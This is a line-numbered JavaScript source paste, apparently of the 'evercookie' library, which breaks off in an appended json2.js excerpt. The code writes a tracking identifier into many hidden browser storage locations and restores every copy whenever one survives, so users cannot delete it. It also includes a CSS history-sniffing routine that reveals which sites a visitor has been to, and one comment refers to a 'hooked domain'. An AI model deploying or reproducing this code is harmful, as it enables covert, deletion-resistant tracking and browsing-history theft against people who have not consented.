  27. * - standard http cookies
  28. * - flash cookies (local shared objects)
  29. * - silverlight isolated storage
  30. * - png generation w/forced cache and html5 canvas pixel reading
  31. * - http etags
  32. * - http cache
  33. * - window.name
  34. * - IE userData
  35. * - html5 session cookies
  36. * - html5 local storage
  37. * - html5 global storage
  38. * - html5 database storage via sqlite
  39. * - css history scanning
  40. *
  41. * if any cookie is found, it's then reset to all the other locations
  42. * for example, if someone deletes all but one type of cookie, once
  43. * that cookie is re-discovered, all of the other cookie types get reset
  44. *
  45. * !!! SOME OF THESE ARE CROSS-DOMAIN COOKIES, THIS MEANS
  46. * OTHER SITES WILL BE ABLE TO READ SOME OF THESE COOKIES !!!
  47. *
  48. * USAGE:
  49.  
  50. var ec = new evercookie();
  51.  
  52. // set a cookie "id" to "12345"
  53. // usage: ec.set(key, value)
  54. ec.set("id", "12345");
  55.  
  56. // retrieve a cookie called "id" (simply)
  57. ec.get("id", function(value) { alert("Cookie value is " + value) });
  58.  
  59. // or use a more advanced callback function for getting our cookie
  60. // the cookie value is the first param
  61. // an object containing the different storage methods
  62. // and returned cookie values is the second parameter
  63. function getCookie(best_candidate, all_candidates)
  64. {
  65. alert("The retrieved cookie is: " + best_candidate + "\n" +
  66. "You can see what each storage mechanism returned " +
  67. "by looping through the all_candidates object.");
  68.  
  69. for (var item in all_candidates)
  70. document.write("Storage mechanism " + item +
  71. " returned " + all_candidates[item] + " votes<br>");
  72. }
  73. ec.get("id", getCookie);
  74.  
  75. // we look for "candidates" based off the number of "cookies" that
  76. // come back matching since it's possible for mismatching cookies.
  77. // the best candidate is very-very-likely the correct one
  78.  
  79. */
  80.  
  81. /* to turn off CSS history knocking, set _ec_history to 0 */
  82. var _ec_history = 1; // CSS history knocking or not .. can be network intensive
  83. var _ec_tests = 10;//1000;
  84. var _ec_debug = 0;
  85.  
  86. function _ec_dump(arr, level)
  87. {
  88. var dumped_text = "";
  89. if(!level) level = 0;
  90.  
  91. //The padding given at the beginning of the line.
  92. var level_padding = "";
  93. for(var j=0;j<level+1;j++) level_padding += " ";
  94.  
  95. if(typeof(arr) == 'object') { //Array/Hashes/Objects
  96. for(var item in arr) {
  97. var value = arr[item];
  98.  
  99. if(typeof(value) == 'object') { //If it is an array,
  100. dumped_text += level_padding + "'" + item + "' ...\n";
  101. dumped_text += _ec_dump(value,level+1);
  102. } else {
  103. dumped_text += level_padding + "'" + item + "' => \"" + value + "\"\n";
  104. }
  105. }
  106. } else { //Stings/Chars/Numbers etc.
  107. dumped_text = "===>"+arr+"<===("+typeof(arr)+")";
  108. }
  109. return dumped_text;
  110. }
  111.  
  112. function _ec_replace(str, key, value)
  113. {
  114. if (str.indexOf('&' + key + '=') > -1 || str.indexOf(key + '=') == 0)
  115. {
  116. // find start
  117. var idx = str.indexOf('&' + key + '=');
  118. if (idx == -1)
  119. idx = str.indexOf(key + '=');
  120.  
  121. // find end
  122. var end = str.indexOf('&', idx + 1);
  123. var newstr;
  124. if (end != -1)
  125. newstr = str.substr(0, idx) + str.substr(end + (idx ? 0 : 1)) + '&' + key + '=' + value;
  126. else
  127. newstr = str.substr(0, idx) + '&' + key + '=' + value;
  128.  
  129. return newstr;
  130. }
  131. else
  132. return str + '&' + key + '=' + value;
  133. }
  134.  
  135.  
  136. // necessary for flash to communicate with js...
  137. // please implement a better way
  138. var _global_lso;
  139. function _evercookie_flash_var(cookie)
  140. {
  141. _global_lso = cookie;
  142.  
  143. // remove the flash object now
  144. var swf = $('#myswf');
  145. if (swf && swf.parentNode)
  146. swf.parentNode.removeChild(swf);
  147. }
  148.  
  149. var evercookie = (function () {
  150. this._class = function() {
  151.  
  152. var self = this;
  153. // private property
  154. _baseKeyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
  155. this._ec = {};
  156. var no_color = -1;
  157.  
  158. this.get = function(name, cb, dont_reset)
  159. {
  160. $(document).ready(function() {
  161. self._evercookie(name, cb, undefined, undefined, dont_reset);
  162. });
  163. };
  164.  
  165. this.set = function(name, value)
  166. {
  167. $(document).ready(function() {
  168. self._evercookie(name, function() { }, value);
  169. });
  170. };
  171.  
  172. this._evercookie = function(name, cb, value, i, dont_reset)
  173. {
  174. if (typeof self._evercookie == 'undefined')
  175. self = this;
  176.  
  177. if (typeof i == 'undefined')
  178. i = 0;
  179.  
  180. // first run
  181. if (i == 0)
  182. {
  183. self.evercookie_database_storage(name, value);
  184. self.evercookie_png(name, value);
  185. self.evercookie_etag(name, value);
  186. self.evercookie_cache(name, value);
  187. self.evercookie_lso(name, value);
  188. self.evercookie_silverlight(name, value);
  189.  
  190. self._ec.userData = self.evercookie_userdata(name, value);
  191. self._ec.cookieData = self.evercookie_cookie(name, value);
  192. self._ec.localData = self.evercookie_local_storage(name, value);
  193. self._ec.globalData = self.evercookie_global_storage(name, value);
  194. self._ec.sessionData = self.evercookie_session_storage(name, value);
  195. self._ec.windowData = self.evercookie_window(name, value);
  196.  
  197. if (_ec_history)
  198. self._ec.historyData = self.evercookie_history(name, value);
  199. }
  200.  
  201. // when writing data, we need to make sure lso and silverlight object is there
  202. if (typeof value != 'undefined')
  203. {
  204. if (
  205. (
  206. (typeof _global_lso == 'undefined') ||
  207. (typeof _global_isolated == 'undefined')
  208. )
  209. && i++ < _ec_tests
  210. )
  211. setTimeout(function() { self._evercookie(name, cb, value, i, dont_reset) }, 300);
  212. }
  213.  
  214. // when reading data, we need to wait for swf, db, silverlight and png
  215. else
  216. {
  217. if (
  218. (
  219. // we support local db and haven't read data in yet
  220. (window.openDatabase && typeof self._ec.dbData == 'undefined') ||
  221. (typeof _global_lso == 'undefined') ||
  222. (typeof self._ec.etagData == 'undefined') ||
  223. (typeof self._ec.cacheData == 'undefined') ||
  224. (document.createElement('canvas').getContext && (typeof self._ec.pngData == 'undefined' || self._ec.pngData == '')) ||
  225. (typeof _global_isolated == 'undefined')
  226. )
  227. &&
  228. i++ < _ec_tests
  229. )
  230. {
  231. setTimeout(function() { self._evercookie(name, cb, value, i, dont_reset) }, 300);
  232. }
  233.  
  234. // we hit our max wait time or got all our data
  235. else
  236. {
  237. // get just the piece of data we need from swf
  238. self._ec.lsoData = self.getFromStr(name, _global_lso);
  239. _global_lso = undefined;
  240.  
  241. // get just the piece of data we need from silverlight
  242. self._ec.slData = self.getFromStr(name, _global_isolated);
  243. _global_isolated = undefined;
  244.  
  245. var tmpec = self._ec;
  246. self._ec = {};
  247.  
  248. // figure out which is the best candidate
  249. var candidates = new Array();
  250. var bestnum = 0;
  251. var candidate;
  252. for (var item in tmpec)
  253. {
  254. if (typeof tmpec[item] != 'undefined' && typeof tmpec[item] != 'null' && tmpec[item] != '' &&
  255. tmpec[item] != 'null' && tmpec[item] != 'undefined' && tmpec[item] != null)
  256. {
  257. candidates[tmpec[item]] = typeof candidates[tmpec[item]] == 'undefined' ? 1 : candidates[tmpec[item]] + 1;
  258. }
  259. }
  260.  
  261. for (var item in candidates)
  262. {
  263. if (candidates[item] > bestnum)
  264. {
  265. bestnum = candidates[item];
  266. candidate = item;
  267. }
  268. }
  269.  
  270. // reset cookie everywhere
  271. if (typeof dont_reset == "undefined" || dont_reset != 1)
  272. self.set(name, candidate);
  273.  
  274. if (typeof cb == 'function')
  275. cb(candidate, tmpec);
  276. }
  277. }
  278. };
  279.  
  280. this.evercookie_window = function(name, value)
  281. {
  282. try {
  283. if (typeof(value) != "undefined")
  284. window.name = _ec_replace(window.name, name, value);
  285. else
  286. return this.getFromStr(name, window.name);
  287. } catch(e) { }
  288. };
  289.  
  290. this.evercookie_userdata = function(name, value)
  291. {
  292. try {
  293. var elm = this.createElem('div', 'userdata_el', 1);
  294. elm.style.behavior = "url(#default#userData)";
  295.  
  296. if (typeof(value) != "undefined")
  297. {
  298. elm.setAttribute(name, value);
  299. elm.save(name);
  300. }
  301. else
  302. {
  303. elm.load(name);
  304. return elm.getAttribute(name);
  305. }
  306. } catch(e) { }
  307. };
  308.  
  309. this.evercookie_cache = function(name, value)
  310. {
  311. if (typeof(value) != "undefined")
  312. {
  313. // make sure we have evercookie session defined first
  314. document.cookie = 'evercookie_cache=' + value;
  315.  
  316. // evercookie_cache.php handles caching
  317. var img = new Image();
  318. img.style.visibility = 'hidden';
  319. img.style.position = 'absolute';
  320. img.src = 'evercookie_cache.php?name=' + name;
  321. }
  322. else
  323. {
  324. // interestingly enough, we want to erase our evercookie
  325. // http cookie so the php will force a cached response
  326. var origvalue = this.getFromStr('evercookie_cache', document.cookie);
  327. self._ec.cacheData = undefined;
  328. document.cookie = 'evercookie_cache=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
  329.  
  330. $.ajax({
  331. url: 'evercookie_cache.php?name=' + name,
  332. success: function(data) {
  333. // put our cookie back
  334. document.cookie = 'evercookie_cache=' + origvalue + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
  335.  
  336. self._ec.cacheData = data;
  337. }
  338. });
  339. }
  340. };
  341.  
  342. this.evercookie_etag = function(name, value)
  343. {
  344. if (typeof(value) != "undefined")
  345. {
  346. // make sure we have evercookie session defined first
  347. document.cookie = 'evercookie_etag=' + value;
  348.  
  349. // evercookie_etag.php handles etagging
  350. var img = new Image();
  351. img.style.visibility = 'hidden';
  352. img.style.position = 'absolute';
  353. img.src = 'evercookie_etag.php?name=' + name;
  354. }
  355. else
  356. {
  357. // interestingly enough, we want to erase our evercookie
  358. // http cookie so the php will force a cached response
  359. var origvalue = this.getFromStr('evercookie_etag', document.cookie);
  360. self._ec.etagData = undefined;
  361. document.cookie = 'evercookie_etag=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
  362.  
  363. $.ajax({
  364. url: 'evercookie_etag.php?name=' + name,
  365. success: function(data) {
  366. // put our cookie back
  367. document.cookie = 'evercookie_etag=' + origvalue + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
  368.  
  369. self._ec.etagData = data;
  370. }
  371. });
  372. }
  373. };
  374.  
  375. this.evercookie_lso = function(name, value)
  376. {
  377. var div = document.getElementById('swfcontainer');
  378. if (!div)
  379. {
  380. div = document.createElement("div");
  381. div.setAttribute('id', 'swfcontainer');
  382. document.body.appendChild(div);
  383. }
  384.  
  385. var flashvars = {};
  386. if (typeof value != 'undefined')
  387. flashvars.everdata = name + '=' + value;
  388.  
  389. var params = {};
  390. params.swliveconnect = "true";
  391. var attributes = {};
  392. attributes.id = "myswf";
  393. attributes.name = "myswf";
  394. swfobject.embedSWF("evercookie.swf", "swfcontainer", "1", "1", "9.0.0", false, flashvars, params, attributes);
  395. };
  396.  
  397. this.evercookie_png = function(name, value)
  398. {
  399. if (document.createElement('canvas').getContext)
  400. {
  401. if (typeof(value) != "undefined")
  402. {
  403. // make sure we have evercookie session defined first
  404. document.cookie = 'evercookie_png=' + value;
  405.  
  406. // evercookie_png.php handles the hard part of generating the image
  407. // based off of the http cookie and returning it cached
  408. var img = new Image();
  409. img.style.visibility = 'hidden';
  410. img.style.position = 'absolute';
  411. img.src = 'evercookie_png.php?name=' + name;
  412. }
  413. else
  414. {
  415. self._ec.pngData = undefined;
  416. var context = document.createElement('canvas');
  417. context.style.visibility = 'hidden';
  418. context.style.position = 'absolute';
  419. context.width = 200;
  420. context.height = 1;
  421. var ctx = context.getContext('2d');
  422.  
  423. // interestingly enough, we want to erase our evercookie
  424. // http cookie so the php will force a cached response
  425. var origvalue = this.getFromStr('evercookie_png', document.cookie);
  426. document.cookie = 'evercookie_png=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
  427.  
  428. var img = new Image();
  429. img.style.visibility = 'hidden';
  430. img.style.position = 'absolute';
  431. img.src = 'evercookie_png.php?name=' + name;
  432.  
  433. img.onload = function()
  434. {
  435. // put our cookie back
  436. document.cookie = 'evercookie_png=' + origvalue + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
  437.  
  438. self._ec.pngData = '';
  439. ctx.drawImage(img,0,0);
  440.  
  441. // get CanvasPixelArray from given coordinates and dimensions
  442. var imgd = ctx.getImageData(0, 0, 200, 1);
  443. var pix = imgd.data;
  444.  
  445. // loop over each pixel to get the "RGB" values (ignore alpha)
  446. for (var i = 0, n = pix.length; i < n; i += 4)
  447. {
  448. if (pix[i ] == 0) break;
  449. self._ec.pngData += String.fromCharCode(pix[i]);
  450. if (pix[i+1] == 0) break;
  451. self._ec.pngData += String.fromCharCode(pix[i+1]);
  452. if (pix[i+2] == 0) break;
  453. self._ec.pngData += String.fromCharCode(pix[i+2]);
  454. }
  455. }
  456. }
  457. }
  458. };
  459.  
  460. this.evercookie_local_storage = function(name, value)
  461. {
  462. try
  463. {
  464. if (window.localStorage)
  465. {
  466. if (typeof(value) != "undefined")
  467. localStorage.setItem(name, value);
  468. else
  469. return localStorage.getItem(name);
  470. }
  471. }
  472. catch (e) { }
  473. };
  474.  
  475. this.evercookie_database_storage = function(name, value)
  476. {
  477. try
  478. {
  479. if (window.openDatabase)
  480. {
  481. var database = window.openDatabase("sqlite_evercookie", "", "evercookie", 1024 * 1024);
  482.  
  483. if (typeof(value) != "undefined")
  484. database.transaction(function(tx)
  485. {
  486. tx.executeSql("CREATE TABLE IF NOT EXISTS cache(" +
  487. "id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, " +
  488. "name TEXT NOT NULL, " +
  489. "value TEXT NOT NULL, " +
  490. "UNIQUE (name)" +
  491. ")", [], function (tx, rs) { }, function (tx, err) { });
  492.  
  493. tx.executeSql("INSERT OR REPLACE INTO cache(name, value) VALUES(?, ?)", [name, value],
  494. function (tx, rs) { }, function (tx, err) { })
  495. });
  496. else
  497. {
  498. database.transaction(function(tx)
  499. {
  500. tx.executeSql("SELECT value FROM cache WHERE name=?", [name],
  501. function(tx, result1) {
  502. if (result1.rows.length >= 1)
  503. self._ec.dbData = result1.rows.item(0)['value'];
  504. else
  505. self._ec.dbData = '';
  506. }, function (tx, err) { })
  507. });
  508. }
  509. }
  510. } catch(e) { }
  511. };
  512.  
  513. this.evercookie_session_storage = function(name, value)
  514. {
  515. try
  516. {
  517. if (window.sessionStorage)
  518. {
  519. if (typeof(value) != "undefined")
  520. sessionStorage.setItem(name, value);
  521. else
  522. return sessionStorage.getItem(name);
  523. }
  524. } catch(e) { }
  525. };
  526.  
  527. this.evercookie_global_storage = function(name, value)
  528. {
  529. if (window.globalStorage)
  530. {
  531. var host = this.getHost();
  532.  
  533. try
  534. {
  535. if (typeof(value) != "undefined")
  536. eval("globalStorage[host]." + name + " = value");
  537. else
  538. return eval("globalStorage[host]." + name);
  539. } catch(e) { }
  540. }
  541. };
  542. this.evercookie_silverlight = function(name, value) {
  543. /*
  544. * Create silverlight embed
  545. *
  546. * Ok. so, I tried doing this the proper dom way, but IE chokes on appending anything in object tags (including params), so this
  547. * is the best method I found. Someone really needs to find a less hack-ish way. I hate the look of this shit.
  548. */
  549. var source = "evercookie.xap";
  550. var minver = "4.0.50401.0";
  551.  
  552. var initParam = "";
  553. if(typeof(value) != "undefined")
  554. initParam = '<param name="initParams" value="'+name+'='+value+'" />';
  555.  
  556. var html =
  557. '<object data="data:application/x-silverlight-2," type="application/x-silverlight-2" id="mysilverlight" width="0" height="0">' +
  558. initParam +
  559. '<param name="source" value="'+source+'"/>' +
  560. '<param name="onLoad" value="onSilverlightLoad"/>' +
  561. '<param name="onError" value="onSilverlightError"/>' +
  562. '<param name="background" value="Transparent"/>' +
  563. '<param name="windowless" value="true"/>' +
  564. '<param name="minRuntimeVersion" value="'+minver+'"/>' +
  565. '<param name="autoUpgrade" value="true"/>' +
  566. '<a href="http://go.microsoft.com/fwlink/?LinkID=149156&v='+minver+'" style="text-decoration:none">' +
  567. '<img src="http://go.microsoft.com/fwlink/?LinkId=108181" alt="Get Microsoft Silverlight" style="border-style:none"/>' +
  568. '</a>' +
  569. '</object>';
  570. document.body.innerHTML+=html;
  571. };
  572.  
  573. // public method for encoding
  574. this.encode = function (input) {
  575. var output = "";
  576. var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
  577. var i = 0;
  578.  
  579. input = this._utf8_encode(input);
  580.  
  581. while (i < input.length) {
  582.  
  583. chr1 = input.charCodeAt(i++);
  584. chr2 = input.charCodeAt(i++);
  585. chr3 = input.charCodeAt(i++);
  586.  
  587. enc1 = chr1 >> 2;
  588. enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
  589. enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
  590. enc4 = chr3 & 63;
  591.  
  592. if (isNaN(chr2)) {
  593. enc3 = enc4 = 64;
  594. } else if (isNaN(chr3)) {
  595. enc4 = 64;
  596. }
  597.  
  598. output = output +
  599. _baseKeyStr.charAt(enc1) + _baseKeyStr.charAt(enc2) +
  600. _baseKeyStr.charAt(enc3) + _baseKeyStr.charAt(enc4);
  601.  
  602. }
  603.  
  604. return output;
  605. };
  606.  
  607. // public method for decoding
  608. this.decode = function (input) {
  609. var output = "";
  610. var chr1, chr2, chr3;
  611. var enc1, enc2, enc3, enc4;
  612. var i = 0;
  613.  
  614. input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
  615.  
  616. while (i < input.length) {
  617. enc1 = _baseKeyStr.indexOf(input.charAt(i++));
  618. enc2 = _baseKeyStr.indexOf(input.charAt(i++));
  619. enc3 = _baseKeyStr.indexOf(input.charAt(i++));
  620. enc4 = _baseKeyStr.indexOf(input.charAt(i++));
  621.  
  622. chr1 = (enc1 << 2) | (enc2 >> 4);
  623. chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
  624. chr3 = ((enc3 & 3) << 6) | enc4;
  625.  
  626. output = output + String.fromCharCode(chr1);
  627.  
  628. if (enc3 != 64) {
  629. output = output + String.fromCharCode(chr2);
  630. }
  631. if (enc4 != 64) {
  632. output = output + String.fromCharCode(chr3);
  633. }
  634.  
  635. }
  636.  
  637. output = this._utf8_decode(output);
  638.  
  639. return output;
  640.  
  641. };
  642.  
  643. // private method for UTF-8 encoding
  644. this._utf8_encode = function (string) {
  645. string = string.replace(/\r\n/g,"\n");
  646. var utftext = "";
  647.  
  648. for (var n = 0; n < string.length; n++) {
  649.  
  650. var c = string.charCodeAt(n);
  651.  
  652. if (c < 128) {
  653. utftext += String.fromCharCode(c);
  654. }
  655. else if((c > 127) && (c < 2048)) {
  656. utftext += String.fromCharCode((c >> 6) | 192);
  657. utftext += String.fromCharCode((c & 63) | 128);
  658. }
  659. else {
  660. utftext += String.fromCharCode((c >> 12) | 224);
  661. utftext += String.fromCharCode(((c >> 6) & 63) | 128);
  662. utftext += String.fromCharCode((c & 63) | 128);
  663. }
  664.  
  665. }
  666.  
  667. return utftext;
  668. };
  669.  
  670. // private method for UTF-8 decoding
  671. this._utf8_decode = function (utftext) {
  672. var string = "";
  673. var i = 0;
  674. var c = c1 = c2 = 0;
  675.  
  676. while ( i < utftext.length ) {
  677.  
  678. c = utftext.charCodeAt(i);
  679.  
  680. if (c < 128) {
  681. string += String.fromCharCode(c);
  682. i++;
  683. }
  684. else if((c > 191) && (c < 224)) {
  685. c2 = utftext.charCodeAt(i+1);
  686. string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
  687. i += 2;
  688. }
  689. else {
  690. c2 = utftext.charCodeAt(i+1);
  691. c3 = utftext.charCodeAt(i+2);
  692. string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
  693. i += 3;
  694. }
  695.  
  696. }
  697.  
  698. return string;
  699. };
  700.  
  701. // this is crazy but it's 4am in dublin and i thought this would be hilarious
  702. // blame the guinness
  703. this.evercookie_history = function(name, value)
  704. {
  705. // - is special
  706. var baseStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=-";
  707. var baseElems = baseStr.split("");
  708.  
  709. // sorry google.
  710. var url = 'http://www.google.com/evercookie/cache/' + this.getHost() + '/' + name;
  711.  
  712. if (typeof(value) != "undefined")
  713. {
  714. // don't reset this if we already have it set once
  715. // too much data and you can't clear previous values
  716. if (this.hasVisited(url))
  717. return;
  718.  
  719. this.createIframe(url, 'if');
  720. url = url + '/';
  721.  
  722. var base = this.encode(value).split("");
  723. for (var i = 0; i < base.length; i++)
  724. {
  725. url = url + base[i];
  726. this.createIframe(url, 'if' + i);
  727. }
  728.  
  729. // - signifies the end of our data
  730. url = url + '-';
  731. this.createIframe(url, 'if_');
  732. }
  733. else
  734. {
  735. // omg you got csspwn3d
  736. if (this.hasVisited(url))
  737. {
  738. url = url + '/';
  739.  
  740. var letter = "";
  741. var val = "";
  742. var found = 1;
  743. while (letter != '-' && found == 1)
  744. {
  745. found = 0;
  746. for (var i = 0; i < baseElems.length; i++)
  747. {
  748. if (this.hasVisited(url + baseElems[i]))
  749. {
  750. letter = baseElems[i];
  751. if (letter != '-')
  752. val = val + letter;
  753. url = url + letter;
  754. found = 1;
  755. break;
  756. }
  757. }
  758. }
  759.  
  760. // lolz
  761. return this.decode(val);
  762. }
  763. }
  764. };
  765.  
  766. this.createElem = function(type, name, append)
  767. {
  768. var el;
  769. if (typeof name != 'undefined' && document.getElementById(name))
  770. el = document.getElementById(name);
  771. else
  772. el = document.createElement(type);
  773. el.style.visibility = 'hidden';
  774. el.style.position = 'absolute';
  775.  
  776. if (name)
  777. el.setAttribute('id', name);
  778.  
  779. if (append)
  780. document.body.appendChild(el);
  781.  
  782. return el;
  783. };
  784.  
  785. this.createIframe = function(url, name)
  786. {
  787. var el = this.createElem('iframe', name, 1);
  788. el.setAttribute('src', url);
  789. return el;
  790. };
  791.  
  792. // wait for our swfobject to appear (swfobject.js to load)
  793. this.waitForSwf = function(i)
  794. {
  795. if (typeof i == 'undefined')
  796. i = 0;
  797. else
  798. i++;
  799.  
  800. // wait for ~2 seconds for swfobject to appear
  801. if (i < _ec_tests && typeof swfobject == 'undefined')
  802. setTimeout(function() { waitForSwf(i) }, 300);
  803. };
  804.  
  805. this.evercookie_cookie = function(name, value)
  806. {
  807. try{
  808. if (typeof(value) != "undefined")
  809. {
  810. // expire the cookie first
  811. document.cookie = name + '=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
  812. document.cookie = name + '=' + value + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
  813. }
  814. else
  815. return this.getFromStr(name, document.cookie);
  816. }catch(e){
  817. // the hooked domain is using HttpOnly, so we must set the hook ID in a different way.
  818. // evercookie_userdata and evercookie_window will be used in this case.
  819. }
  820. };
  821.  
  822. // get value from param-like string (eg, "x=y&name=VALUE")
  823. this.getFromStr = function(name, text)
  824. {
  825. if (typeof text != 'string')
  826. return;
  827.  
  828. var nameEQ = name + "=";
  829. var ca = text.split(/[;&]/);
  830. for (var i = 0; i < ca.length; i++)
  831. {
  832. var c = ca[i];
  833. while (c.charAt(0) == ' ')
  834. c = c.substring(1, c.length);
  835. if (c.indexOf(nameEQ) == 0)
  836. return c.substring(nameEQ.length, c.length);
  837. }
  838. };
  839.  
  840. this.getHost = function()
  841. {
  842. var domain = document.location.host;
  843. if (domain.indexOf('www.') == 0)
  844. domain = domain.replace('www.', '');
  845. return domain;
  846. };
  847.  
  848. this.toHex = function(str)
  849. {
  850. var r = "";
  851. var e = str.length;
  852. var c = 0;
  853. var h;
  854. while (c < e)
  855. {
  856. h = str.charCodeAt(c++).toString(16);
  857. while (h.length < 2)
  858. h = "0" + h;
  859. r += h;
  860. }
  861. return r;
  862. };
  863.  
  864. this.fromHex = function(str)
  865. {
  866. var r = "";
  867. var e = str.length;
  868. var s;
  869. while (e >= 0)
  870. {
  871. s = e - 2;
  872. r = String.fromCharCode("0x" + str.substring(s, e)) + r;
  873. e = s;
  874. }
  875. return r;
  876. };
  877.  
  878. /*
  879. * css history knocker (determine what sites your visitors have been to)
  880. *
  881. * originally by Jeremiah Grossman
  882. * http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html
  883. *
  884. * ported to additional browsers by Samy Kamkar
  885. *
  886. * compatible with ie6, ie7, ie8, ff1.5, ff2, ff3, opera, safari, chrome, flock
  887. *
  888. * - code@samy.pl
  889. */
  890.  
  891.  
  892. this.hasVisited = function(url)
  893. {
  894. if (this.no_color == -1)
  895. {
  896. var no_style = this._getRGB("http://samy-was-here-this-should-never-be-visited.com", -1);
  897. if (no_style == -1)
  898. this.no_color =
  899. this._getRGB("http://samy-was-here-"+Math.floor(Math.random()*9999999)+"rand.com");
  900. }
  901.  
  902. // did we give full url?
  903. if (url.indexOf('https:') == 0 || url.indexOf('http:') == 0)
  904. return this._testURL(url, this.no_color);
  905.  
  906. // if not, just test a few diff types if (exact)
  907. return this._testURL("http://" + url, this.no_color) ||
  908. this._testURL("https://" + url, this.no_color) ||
  909. this._testURL("http://www." + url, this.no_color) ||
  910. this._testURL("https://www." + url, this.no_color);
  911. };
  912.  
  913. /* create our anchor tag */
  914. var _link = this.createElem('a', '_ec_rgb_link');
  915.  
  916. /* for monitoring */
  917. var created_style;
  918.  
  919. /* create a custom style tag for the specific link. Set the CSS visited selector to a known value */
  920. var _cssText = '#_ec_rgb_link:visited{display:none;color:#FF0000}';
  921.  
  922. /* Methods for IE6, IE7, FF, Opera, and Safari */
  923. try {
  924. created_style = 1;
  925. var style = document.createElement('style');
  926. if (style.styleSheet)
  927. style.styleSheet.innerHTML = _cssText;
  928. else if (style.innerHTML)
  929. style.innerHTML = _cssText;
  930. else
  931. {
  932. var cssT = document.createTextNode(_cssText);
  933. style.appendChild(cssT);
  934. }
  935. } catch (e) {
  936. created_style = 0;
  937. }
  938.  
  939. /* if test_color, return -1 if we can't set a style */
  940. this._getRGB = function (u, test_color) {
  941. if (test_color && created_style == 0)
  942. return -1;
  943.  
  944. /* create the new anchor tag with the appropriate URL information */
  945. _link.href = u;
  946. _link.innerHTML = u;
  947. // not sure why, but the next two appendChilds always have to happen vs just once
  948. document.body.appendChild(style);
  949. document.body.appendChild(_link);
  950.  
  951. /* add the link to the DOM and save the visible computed color */
  952. var color;
  953. if (document.defaultView)
  954. color = document.defaultView.getComputedStyle(_link, null).getPropertyValue('color');
  955. else
  956. color = _link.currentStyle['color'];
  957.  
  958. return color;
  959. };
  960.  
  961. this._testURL = function(url, no_color){
  962. var color = this._getRGB(url);
  963.  
  964. /* check to see if the link has been visited if the computed color is red */
  965. if (color == "rgb(255, 0, 0)" || color == "#ff0000")
  966. return 1;
  967.  
  968. /* if our style trick didn't work, just compare default style colors */
  969. else if (no_color && color != no_color)
  970. return 1;
  971.  
  972. /* not found */
  973. return 0;
  974. }
  975.  
  976. };
  977.  
  978. return _class;
  979. })();
  980.  
  981.  
  982. /*
  983. * Again, ugly workaround....same problem as flash.
  984. */
  985. var _global_isolated;
  986. function onSilverlightLoad(sender, args) {
  987. var control = sender.getHost();
  988. _global_isolated = control.Content.App.getIsolatedStorage();
  989. }
  990. /*
  991. function onSilverlightError(sender, args) {
  992. _global_isolated = "";
  993.  
  994. }*/
  995. function onSilverlightError(sender, args) {
  996. _global_isolated = "";
  997. }
  998.  
  999.  
  1000. /*
  1001. https://github.com/douglascrockford/JSON-js/blob/master/json2.js
  1002. 2011-02-23
  1003.  
  1004. // Create a JSON object only if one does not already exist. We create the
  1005. // methods in a closure to avoid creating global variables.
  1006. */
  1007.  
  1008. var JSON;
  1009. if (!JSON) {
  1010. JSON = {};
  1011. }
  1012.  
  1013. (function () {
  1014. "use strict";
  1015.  
  1016. function f(n) {
  1017. // Format integers to have at least two digits.
  1018. return n < 10 ? '0' + n : n;
  1019. }
  1020.  
  1021. if (typeof Date.prototype.toJSON !== 'function') {
  1022.  
  1023. Date.prototype.toJSON = function (key) {
  1024.  
  1025. return isFinite(this.valueOf()) ?
  1026. this.getUTCFullYear() + '-' +
  1027. f(this.getUTCMonth() + 1) + '-' +
  1028. f(this.getUTCDate()) + 'T' +
  1029. f(this.getUTCHours()) + ':' +
  1030. f(this.getUTCMinutes()) + ':' +
  1031. f(this.getUTCSeconds()) + 'Z' : null;
  1032. };
  1033.  
  1034. String.prototype.toJSON =
  1035. Number.prototype.toJSON =
  1036. Boolean.prototype.toJSON = function (key) {
  1037. return this.valueOf();
  1038. };
  1039. }
  1040.  
  1041. var cx = /[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,
  1042. escapable = /[\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,
  1043. gap,
  1044. indent,
  1045. meta = { // table of character substitutions
  1046. '\b': '\\b',
  1047. '\t': '\\t',
  1048. '\n': '\\n',
  1049. '\f': '\\f',
  1050. '\r': '\\r',
  1051. '"' : '\\"',
  1052. '\\': '\\\\'
  1053. },
  1054. rep;
  1055.  
  1056.  
  1057. function quote(string) {
  1058.  
  1059. // If the string contains no control characters, no quote characters, and no
  1060. // backslash characters, then we can safely slap some quotes around it.
  1061. // Otherwise we must also replace the offending characters with safe escape
  1062. // sequences.
  1063.  
  1064. escapable.lastIndex = 0;
  1065. return escapable.test(string) ? '"' + string.replace(escapable, function (a) {
  1066. var c = meta[a];
  1067. return typeof c === 'string' ? c :
  1068. '\\u' + ('0000' + a.charCodeAt(0).toString(16)).slice(-4);
  1069. }) + '"' : '"' + string + '"';
  1070. }
  1071.  
  1072.  
  1073. function str(key, holder) {
  1074.  
  1075. // Produce a string from holder[key].
  1076.  
  1077. var i, // The loop counter.
  1078. k, // The member key.
  1079. v, // The member value.
  1080. length,
  1081. mind = gap,
  1082. partial,
  1083. value = holder[key];
  1084.  
  1085. // If the value has a toJSON method, call it to obtain a replacement value.
  1086.  
